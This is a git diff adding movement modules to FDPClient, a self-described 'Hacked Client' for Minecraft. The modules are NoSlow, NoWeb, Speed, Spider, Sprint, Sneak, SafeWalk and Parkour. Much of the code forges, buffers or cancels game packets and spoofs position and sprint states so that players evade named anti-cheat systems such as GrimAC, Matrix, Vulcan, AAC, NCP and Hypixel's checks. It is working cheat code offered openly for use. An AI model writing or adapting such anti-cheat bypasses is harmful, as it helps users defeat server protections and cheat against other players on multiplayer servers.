mc.netHandler.addToSendQueue(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + } + if (event.eventState == EventState.POST) { + mc.netHandler.addToSendQueue( + C08PacketPlayerBlockPlacement( + mc.thePlayer.inventoryContainer.getSlot( + mc.thePlayer.inventory.currentItem + 36 + ).stack + ) + ) + } + } + } + "grimc09" -> { + val handle = mc.thePlayer.inventory.currentItem + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(handle % 8 + 1)) + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(handle % 7 + 2)) + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(handle)) + } + + "switchitem" -> { + PacketUtils.sendPacketNoEvent(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem % 8 + 1)) + PacketUtils.sendPacketNoEvent(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + } + + "hypixelnew" -> { + if (getEmptySlot() != -1 && event.eventState == EventState.PRE && mc.thePlayer.ticksExisted % 3 != 0) { + mc.netHandler.addToSendQueue( + C08PacketPlayerBlockPlacement( + BlockPos(-1, -1, -1), + 255, + null, + 0f, + 0f, + 0f + ) + ) + } + } + + "spamitemchange" -> { + if (event.eventState == EventState.PRE) + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + } + + "spamplace" -> { + if (event.eventState == EventState.PRE) + mc.netHandler.addToSendQueue(C08PacketPlayerBlockPlacement(mc.thePlayer.inventory.getCurrentItem())) + } + } + } + } + + @EventTarget + fun onSlowDown(event: SlowDownEvent) { + if (mc.thePlayer == null || mc.theWorld == null || (onlyGround.get() && !mc.thePlayer.onGround)) + return + val heldItem = mc.thePlayer.heldItem?.item + + event.forward = getMultiplier(heldItem, true) + event.strafe = getMultiplier(heldItem, false) + } + + private fun getMultiplier(item: Item?, isForward: Boolean) = when (item) { + is ItemFood, is ItemPotion, is ItemBucketMilk -> { + if (consumeModifyValue.get()) + if (isForward) this.consumeForwardMultiplier.get() else this.consumeStrafeMultiplier.get() else 0.2F + } + + is ItemSword -> { + if (blockModifyValue.get()) + if (isForward) this.blockForwardMultiplier.get() else this.blockStrafeMultiplier.get() else 0.2F + } + + is ItemBow -> { + if (bowModifyValue.get()) + if (isForward) this.bowForwardMultiplier.get() else this.bowStrafeMultiplier.get() else 0.2F + } + + else -> 0.2F + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + var aura: KillAura? = null + var count = 0 + var lastItem: ItemStack? = null + val isBlocking = + mc.thePlayer.isUsingItem && mc.thePlayer.heldItem != null && mc.thePlayer.heldItem.item is ItemSword + val player = mc.thePlayer ?: return + val currentItem = player.currentEquippedItem + if (mc.thePlayer == null || mc.theWorld == null || (onlyGround.get() && !mc.thePlayer.onGround)) + return + + if ((modeValue.equals("Matrix") || modeValue.equals("GrimAC")) && (lastBlockingStat || isBlocking)) { + if (msTimer.hasTimePassed(230) && nextTemp) { + nextTemp = false + if (modeValue.equals("GrimAC")) { + PacketUtils.sendPacketNoEvent(C09PacketHeldItemChange((mc.thePlayer.inventory.currentItem + 1) % 9)) + PacketUtils.sendPacketNoEvent(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + } else { + PacketUtils.sendPacketNoEvent( + C07PacketPlayerDigging( + C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, + BlockPos(-1, -1, -1), + EnumFacing.DOWN + ) + ) + } + if (packetBuf.isNotEmpty()) { + var canAttack = false + for (packet in packetBuf) { + if (packet is C03PacketPlayer) { + canAttack = true + } + if (!((packet is C02PacketUseEntity || packet is C0APacketAnimation) && !canAttack)) { + PacketUtils.sendPacketNoEvent(packet) + } + } + packetBuf.clear() + } + } + if (!nextTemp) { + lastBlockingStat = isBlocking + if (!isBlocking) { + return + } + PacketUtils.sendPacketNoEvent( + C08PacketPlayerBlockPlacement( + BlockPos(-1, -1, -1), + 255, + mc.thePlayer.inventory.getCurrentItem(), + 0f, + 0f, + 0f + ) + ) + nextTemp = true + waitC03 = false + msTimer.reset() + } + } + } + + private val isBlocking: Boolean + get() = (mc.thePlayer.isUsingItem || FDPClient.moduleManager[KillAura::class.java]!!.blockingStatus) && mc.thePlayer.heldItem != null && mc.thePlayer.heldItem.item is ItemSword + + private fun getEmptySlot(): Int { + for (i in 1..44) { + mc.thePlayer.inventoryContainer.getSlot(i).stack ?: return i + } + return -1 + } + + @EventTarget + fun onPacket(event: PacketEvent) { + if (mc.thePlayer == null || mc.theWorld == null || (onlyGround.get() && !mc.thePlayer.onGround)) + return + val packet = event.packet + val heldItem = mc.thePlayer.heldItem?.item + + stop = packet is C07PacketPlayerDigging && packet.status == (C07PacketPlayerDigging.Action.RELEASE_USE_ITEM) + if (consumeModifyValue.get() && mc.thePlayer.isUsingItem && (heldItem is ItemFood || heldItem is ItemPotion || heldItem is ItemBucketMilk)) { + if (consumePacketValue.equals("Grim")) { + if (packet is S30PacketWindowItems) { + event.cancelEvent() + eatslow = false + } + if (packet is S2FPacketSetSlot) { + event.cancelEvent() + } + if (packet is C08PacketPlayerBlockPlacement) { + eatslow = true + } + if (packet is C07PacketPlayerDigging && packet.status == (C07PacketPlayerDigging.Action.RELEASE_USE_ITEM)) { + eatslow = true + } + } + } + when (packet) { + is C08PacketPlayerBlockPlacement -> { + if (packet.stack?.item != null && mc.thePlayer.heldItem?.item != null && packet.stack.item == mc.thePlayer.heldItem?.item) { + if ((consumePacketValue.get() == "UNCP" && (packet.stack.item is ItemFood || packet.stack.item is ItemPotion || packet.stack.item is ItemBucketMilk)) || (bowPacketValue.get() == "UNCP" && packet.stack.item is ItemBow)) { + shouldSwap = true; + } + } + } + } + + if (antiSwitchItem.get() && packet is S09PacketHeldItemChange && (mc.thePlayer.isUsingItem || mc.thePlayer.isBlocking)) { + event.cancelEvent() + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(packet.heldItemHotbarIndex)) + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + } + + if (modeValue.equals("Medusa")) { + if ((mc.thePlayer.isUsingItem || mc.thePlayer.isBlocking) && sendPacket) { + PacketUtils.sendPacketNoEvent( + C0BPacketEntityAction( + mc.thePlayer, + C0BPacketEntityAction.Action.STOP_SPRINTING + ) + ) + sendPacket = false + } + if (!mc.thePlayer.isUsingItem || !mc.thePlayer.isBlocking) { + sendPacket = true + } + } + + if ((modeValue.equals("Matrix") || modeValue.equals("GrimAC")) && nextTemp) { + if ((packet is C07PacketPlayerDigging || packet is C08PacketPlayerBlockPlacement) && isBlocking) { + event.cancelEvent() + } else if (packet is C03PacketPlayer || packet is C0APacketAnimation || packet is C0BPacketEntityAction || packet is C02PacketUseEntity || packet is C07PacketPlayerDigging || packet is C08PacketPlayerBlockPlacement) { + packetBuf.add(packet as Packet<INetHandlerPlayServer>) + event.cancelEvent() + } + } else if (teleportValue.get() && packet is S08PacketPlayerPosLook) { + pendingFlagApplyPacket = true + lastMotionX = mc.thePlayer.motionX + lastMotionY = mc.thePlayer.motionY + lastMotionZ = mc.thePlayer.motionZ + when (teleportModeValue.get().lowercase()) { + "vanillanosetback" -> { + val x = packet.x - mc.thePlayer.posX + val y = packet.y - mc.thePlayer.posY + val z = packet.z - mc.thePlayer.posZ + val diff = sqrt(x * x + y * y + z * z) + if (diff <= 8) { + event.cancelEvent() + pendingFlagApplyPacket = false + PacketUtils.sendPacketNoEvent( + C06PacketPlayerPosLook( + packet.x, + packet.y, + packet.z, + packet.getYaw(), + packet.getPitch(), + mc.thePlayer.onGround + ) + ) + } + } + } + } else if (pendingFlagApplyPacket && packet is C06PacketPlayerPosLook) { + pendingFlagApplyPacket = false + if (teleportNoApplyValue.get()) { + event.cancelEvent() + } + when (teleportModeValue.get().lowercase()) { + "vanilla", "vanillanosetback" -> { + mc.thePlayer.motionX = lastMotionX + mc.thePlayer.motionY = lastMotionY + mc.thePlayer.motionZ = lastMotionZ + } + + "custom" -> { + if (MovementUtils.isMoving()) { + MovementUtils.strafe(teleportCustomSpeedValue.get()) + } + + if (teleportCustomYValue.get()) { + if (lastMotionY > 0) { + mc.thePlayer.motionY = teleportCustomSpeedValue.get().toDouble() + } else { + mc.thePlayer.motionY = -teleportCustomSpeedValue.get().toDouble() + } + } + } + + "decrease" -> { + mc.thePlayer.motionX = lastMotionX * teleportDecreasePercentValue.get() + mc.thePlayer.motionY = lastMotionY * teleportDecreasePercentValue.get() + mc.thePlayer.motionZ = lastMotionZ * teleportDecreasePercentValue.get() + } + } + } + } + private fun isUNCPBlocking() = modeValue.get() == "UNCP" && mc.gameSettings.keyBindUseItem.isKeyDown && (mc.thePlayer.heldItem?.item is ItemSword) + fun usingItemFunc() = mc.thePlayer?.heldItem != null && (mc.thePlayer.isUsingItem || (mc.thePlayer.heldItem?.item is ItemSword && KillAura.blockingStatus) || isUNCPBlocking()) + + override val tag: String + get() = modeValue.get() +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/NoWeb.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/NoWeb.kt new file mode 100644 index 0000000..e53bd73 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/NoWeb.kt @@ -0,0 +1,65 @@ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.JumpEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.movement.nowebs.NoWebMode +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.minecraft.util.BlockPos + +@ModuleInfo("NoWeb", category = ModuleCategory.MOVEMENT) +class NoWeb : Module() { + private val modes = ClassUtils.resolvePackage("${this.javaClass.`package`.name}.nowebs", NoWebMode::class.java) + .map { it.newInstance() as NoWebMode } + .sortedBy { it.modeName } + + private val mode: NoWebMode + get() = modes.find { modeValue.equals(it.modeName) } ?: throw NullPointerException() // this should not happen + + private val modeValue: ListValue = object : ListValue("Mode", modes.map { it.modeName }.toTypedArray(), "OldAAC") { + override fun onChange(oldValue: String, newValue: String) { + if (state) onDisable() + } + + override fun onChanged(oldValue: String, newValue: String) { + if (state) onEnable() + } + } + + override fun onDisable() { + mc.timer.timerSpeed = 1f + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (!mc.thePlayer.isInWeb) return + mode.onUpdate() + } + + @EventTarget + fun onJump(event: JumpEvent) { + mode.onJump(event) + } + + @EventTarget + fun onBlockPos(pos: BlockPos) { + mode.onBlockPos(pos) + } + + override val tag: String + get() = modeValue.get() + + override val values = super.values.toMutableList().also { + modes.map { mode -> + mode.values.forEach { value -> + //it.add(value.displayable { modeValue.equals(mode.modeName) }) + val displayableFunction = value.displayableFunction + it.add(value.displayable { displayableFunction.invoke() && modeValue.equals(mode.modeName) }) + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Parkour.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Parkour.kt new file mode 100644 index 0000000..2602f32 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Parkour.kt @@ -0,0 +1,26 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.MovementUtils + +@ModuleInfo(name = "Parkour", category = ModuleCategory.MOVEMENT) +object Parkour : Module() { + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (MovementUtils.isMoving() && mc.thePlayer.onGround && !mc.thePlayer.isSneaking && !mc.gameSettings.keyBindSneak.isKeyDown && !mc.gameSettings.keyBindJump.isKeyDown && + mc.theWorld.getCollidingBoundingBoxes(mc.thePlayer, mc.thePlayer.entityBoundingBox + .offset(0.0, -0.5, 0.0).expand(-0.001, 0.0, -0.001)).isEmpty()) { + mc.thePlayer.jump() + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/SafeWalk.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/SafeWalk.kt new file mode 100644 index 0000000..ecba6d4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/SafeWalk.kt @@ -0,0 +1,42 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.MoveEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue + +@ModuleInfo(name = "SafeWalk", category = ModuleCategory.MOVEMENT) +object SafeWalk : Module() { + + private val airSafeValue = BoolValue("AirSafe", false) + private val onlyVoidValue = BoolValue("OnlyPredictVoid", false) + + @EventTarget + fun onMove(event: MoveEvent) { + if (onlyVoidValue.get() && !checkVoid()) { + return + } else { + if (airSafeValue.get() || mc.thePlayer.onGround) { + event.isSafeWalk = true + } + } + } + + private fun checkVoid(): Boolean { + var i = (-(mc.thePlayer.posY-1.4857625)).toInt() + var dangerous = true + while (i <= 0) { + dangerous = mc.theWorld.getCollisionBoxes(mc.thePlayer.entityBoundingBox.offset(mc.thePlayer.motionX * 1.4, i.toDouble(), mc.thePlayer.motionZ * 1.4)).isEmpty() + i++ + if (!dangerous) break + } + return dangerous + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Sneak.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Sneak.kt new file mode 100644 index 0000000..d75f2d1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Sneak.kt @@ -0,0 +1,71 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.EventState +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.MotionEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.client.C0BPacketEntityAction + +@ModuleInfo(name = "Sneak", category = ModuleCategory.MOVEMENT) +object Sneak : Module() { + + private val modeValue = ListValue("Mode", arrayOf("Vanilla", "Vanilla2", "Packet", "NCP"), "Vanilla") + private val onlySneakValue = BoolValue("OnlySneak", false) + @EventTarget + fun onMotion(event: MotionEvent) { + if(onlySneakValue.get() && !mc.gameSettings.keyBindSneak.pressed) return + + when(event.eventState) { + EventState.PRE -> { + when(modeValue.get().lowercase()) { + "vanilla" -> { + mc.gameSettings.keyBindSneak.pressed = true + } + + "vanilla2" -> { + mc.thePlayer.movementInput.sneak = mc.thePlayer.sendQueue.doneLoadingTerrain + } + + "packet" -> { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SNEAKING)) + } + + "ncp" -> { + mc.thePlayer.movementInput.sneak = mc.thePlayer.sendQueue.doneLoadingTerrain + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SNEAKING)) + } + } + } + + EventState.POST -> { + when(modeValue.get().lowercase()) { + "vanilla" -> { + mc.gameSettings.keyBindSneak.pressed = true + } + + "vanilla2" -> { + mc.thePlayer.movementInput.sneak = mc.thePlayer.sendQueue.doneLoadingTerrain + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SNEAKING)) + } + + "packet" -> { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SNEAKING)) + } + + "ncp" -> { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SNEAKING)) + } + } + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Speed.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Speed.kt new file mode 100644 index 0000000..0c648c2 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Speed.kt @@ -0,0 +1,128 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.EnumAutoDisableType +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.movement.speeds.SpeedMode +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.MovementUtils +import org.lwjgl.input.Keyboard +import kotlin.math.roundToInt + +@ModuleInfo(name = "Speed", category = ModuleCategory.MOVEMENT, autoDisable = EnumAutoDisableType.FLAG) +object Speed : Module() { + + private val modes = ClassUtils.resolvePackage("${this.javaClass.`package`.name}.speeds", SpeedMode::class.java) + .map { it.newInstance() as SpeedMode } + .sortedBy { it.modeName } + + private val mode: SpeedMode + get() = modes.find { modeValue.equals(it.modeName) } ?: throw NullPointerException() // this should not happen + + private val modeValue: ListValue = object : ListValue("Mode", modes.map { it.modeName }.toTypedArray(), "VulcanHop") { + override fun onChange(oldValue: String, newValue: String) { + if (state) onDisable() + } + + override fun onChanged(oldValue: String, newValue: String) { + if (state) onEnable() + } + } + + private val string = ListValue("String", arrayOf("Mode","Speed"),"Mode") + private val noWater = BoolValue("NoWater", true) + private val forceSprint = BoolValue("alwaysSprint", true) + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (mc.thePlayer.isSneaking || (mc.thePlayer.isInWater && noWater.get())) return + if (MovementUtils.isMoving() && forceSprint.get()) mc.thePlayer.isSprinting = true + mode.onUpdate() + } + + @EventTarget + fun onMotion(event: MotionEvent) { + + if (MovementUtils.isMoving() && forceSprint.get()) { + mc.thePlayer.isSprinting = true + } + + mode.onMotion(event) + + if (mc.thePlayer.isSneaking || event.eventState !== EventState.PRE || (mc.thePlayer.isInWater && noWater.get())) { + return + } + + mode.onPreMotion() + } + + @EventTarget + fun onMove(event: MoveEvent) { + if (mc.thePlayer.isSneaking || (mc.thePlayer.isInWater && noWater.get())) { + return + } + + mode.onMove(event) + FDPClient.moduleManager[TargetStrafe::class.java]!!.doMove(event) + } + + @EventTarget + fun onTick(event: TickEvent) { + if (mc.thePlayer.isSneaking || (mc.thePlayer.isInWater && noWater.get())) { + return + } + + mode.onTick() + } + + @EventTarget + fun onPacket(event: PacketEvent) { + mode.onPacket(event) + } + + @EventTarget + fun onJump(event: JumpEvent) { + mode.onJump(event) + } + + override fun onEnable() { + mc.timer.timerSpeed = 1f + mode.onEnable() + } + + override fun onDisable() { + mc.timer.timerSpeed = 1f + mode.onDisable() + } + + override val tag: String + get() = + (if (string.equals("Mode")) { + modeValue.get() + } else { + (MovementUtils.bps).roundToInt() + }).toString() + /** + * 读取mode中的value并和本体中的value合并 + * 所有的value必须在这个之前初始化 + */ + override val values = super.values.toMutableList().also { + modes.map { mode -> + mode.values.forEach { value -> + //it.add(value.displayable { modeValue.equals(mode.modeName) }) + val displayableFunction = value.displayableFunction + it.add(value.displayable { displayableFunction.invoke() && modeValue.equals(mode.modeName) }) + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Spider.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Spider.kt new file mode 100644 index 0000000..6ab7a4f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Spider.kt @@ -0,0 +1,177 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.block.BlockUtils.collideBlockIntersects +import net.minecraft.block.Block +import net.minecraft.block.BlockAir +import net.minecraft.network.play.client.C03PacketPlayer +import net.minecraft.util.AxisAlignedBB +import kotlin.math.cos +import kotlin.math.floor +import kotlin.math.sin + +@ModuleInfo(name = "Spider", category = ModuleCategory.MOVEMENT) +object Spider : Module() { + + private val modeValue = ListValue("Mode", arrayOf("Collide", "Motion", "AAC3.3.12", "AAC4", "Checker", "Vulcan"), "Collide") + private val motionValue = FloatValue("Motion", 0.42F, 0.1F, 1F) + + private var groundHeight = 0.0 + private var glitch = false + private var wasTimer = false + private var ticks = 0 + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if(wasTimer) { + mc.timer.timerSpeed = 1.0f + } + + if (!mc.thePlayer.isCollidedHorizontally || !MovementUtils.isMoving()) { + if (!collideBlockIntersects(mc.thePlayer.entityBoundingBox) { block: Block? -> block !is BlockAir } || !MovementUtils.isMoving()) { + ticks = 0 + return + } + } + + if(modeValue.get() == "AAC4" && (mc.thePlayer.motionY < 0.0 || mc.thePlayer.onGround)) { + glitch = true + } + + if (mc.thePlayer.onGround) { + groundHeight = mc.thePlayer.posY + } + + when (modeValue.get().lowercase()) { + "collide"-> { + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + } + } + + "aac4" -> { + if (mc.thePlayer.onGround) { + mc.thePlayer.jump() + wasTimer = true + mc.timer.timerSpeed = 0.4f + } + } + + "aac3.3.12" -> { + if (mc.thePlayer.onGround) { + ticks = 0 + } + ticks++ + when (ticks) { + 1, 12, 23 -> mc.thePlayer.motionY = 0.43 + 29 -> mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.5, mc.thePlayer.posZ) + else -> if (ticks >= 30) { + ticks = 0 + } + } + } + + "motion" -> { + mc.thePlayer.motionY = motionValue.get().toDouble() + } + + "checker" -> { + if (mc.thePlayer.isCollidedHorizontally && mc.thePlayer.onGround) { + mc.thePlayer.jump() + } + } + + "vulcan" -> { + if (mc.thePlayer.onGround) { + ticks = 0 + mc.thePlayer.jump() + } + if (ticks >= 3) { + ticks = 0 + } + ticks++ + when (ticks) { + 2, 3 -> { + mc.thePlayer.jump() + MovementUtils.resetMotion(false) + } + } + } + } + } + @EventTarget + fun onMove(event: MoveEvent) { + val isInsideBlock = collideBlockIntersects(mc.thePlayer.entityBoundingBox) { block: Block? -> block !is BlockAir } + if (isInsideBlock && modeValue.get() == "Checker" && mc.thePlayer.movementInput.moveForward > 0.0) { + event.x = 0.0 + event.z = 0.0 + event.y = motionValue.get().toDouble() + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is C03PacketPlayer && glitch) { + glitch = false + val yaw = MovementUtils.direction.toFloat() + packet.x -= sin(yaw) * 0.00000001 + packet.z += cos(yaw) * 0.00000001 + } + if (packet is C03PacketPlayer && modeValue.get() == "Vulcan") { + when (ticks) { + 3 -> { + val yaw = MovementUtils.direction.toFloat() + val randomModulo = Math.random() * 0.03 + 0.22 + packet.y -= 0.1 + packet.x += sin(yaw) * randomModulo + packet.z -= cos(yaw) * randomModulo + } + + 2 -> { + packet.onGround = true + } + } + } + } + + override fun onDisable() { + mc.timer.timerSpeed = 1f + wasTimer = false + } + + @EventTarget + fun onBlockBB(event: BlockBBEvent) { + if (modeValue.get() == "Checker" && (collideBlockIntersects(mc.thePlayer.entityBoundingBox) { block: Block? -> block !is BlockAir } || mc.thePlayer.isCollidedHorizontally)) { + if(event.y > mc.thePlayer.posY) + event.boundingBox = AxisAlignedBB.fromBounds(0.0, 0.0, 0.0, + 0.0, 0.0, 0.0) + } + + if (!mc.thePlayer.isCollidedHorizontally || !MovementUtils.isMoving()) { + return + } + + if (mc.thePlayer.motionY > 0.0) return + + when (modeValue.get().lowercase()) { + "collide", "aac4" -> { + event.boundingBox = AxisAlignedBB.fromBounds(event.x.toDouble(), event.y.toDouble(), event.z.toDouble(), + event.x + 1.0, floor(mc.thePlayer.posY), event.z + 1.0) + } + } + } + override val tag: String + get() = modeValue.get() +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Sprint.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Sprint.kt new file mode 100644 index 0000000..cbefd7a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Sprint.kt @@ -0,0 +1,129 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.event.UpdateEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.Rotation +import net.ccbluex.liquidbounce.utils.RotationUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.minecraft.network.play.client.C0BPacketEntityAction + +@ModuleInfo(name = "Sprint", category = ModuleCategory.MOVEMENT, defaultOn = true) +object Sprint : Module() { + + val useItemValue = BoolValue("UseItem", true) + val useItemSwordValue = BoolValue("UseItemOnlySword", false).displayable{ useItemValue.get() } + val hungryValue = BoolValue("Hungry", true) + val sneakValue = BoolValue("Sneak", false) + val collideValue = BoolValue("Collide", false) + val jumpDirectionsValue = BoolValue("JumpDirections", false) + val allDirectionsValue = BoolValue("AllDirections", false) + val allDirectionsBypassValue = ListValue("AllDirectionsBypass", arrayOf("Rotate", "RotateSpoof", "Toggle", "Spoof", "SpamSprint", "NoStopSprint", "Minemora", "LimitSpeed", "None"), "None").displayable { allDirectionsValue.get() } + private val allDirectionsLimitSpeedGround = BoolValue("AllDirectionsLimitSpeedOnlyGround", true) + private val allDirectionsLimitSpeedValue = FloatValue("AllDirectionsLimitSpeed", 0.7f, 0.5f, 1f).displayable { allDirectionsBypassValue.displayable && allDirectionsBypassValue.equals("LimitSpeed") } + private val noPacketValue = BoolValue("NoPackets", true) + var switchStat = false + var forceSprint = false + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if (allDirectionsValue.get()) { + when(allDirectionsBypassValue.get()) { + "NoStopSprint" -> { + forceSprint = true + } + "SpamSprint" -> { + forceSprint = true + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SPRINTING)) + } + "Spoof" -> { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SPRINTING)) + switchStat = true + } + } + if (RotationUtils.getRotationDifference(Rotation(MovementUtils.movingYaw, mc.thePlayer.rotationPitch), Rotation(mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch)) > 30) { + when(allDirectionsBypassValue.get()) { + "Rotate" -> RotationUtils.setTargetRotation(Rotation(MovementUtils.movingYaw, mc.thePlayer.rotationPitch), 2) + "RotateSpoof" -> { + switchStat = !switchStat + if (switchStat) { + RotationUtils.setTargetRotation(Rotation(MovementUtils.movingYaw, mc.thePlayer.rotationPitch)) + } + } + "Toggle" -> { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING)) + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SPRINTING)) + } + "Minemora" -> { + if (mc.thePlayer.onGround && RotationUtils.getRotationDifference(Rotation(MovementUtils.movingYaw, mc.thePlayer.rotationPitch)) > 60) { + mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.0000013, mc.thePlayer.posZ) + mc.thePlayer.motionY = 0.0 + } + } + "LimitSpeed" -> { + if (!allDirectionsLimitSpeedGround.get() || mc.thePlayer.onGround) { + MovementUtils.limitSpeedByPercent(allDirectionsLimitSpeedValue.get()) + 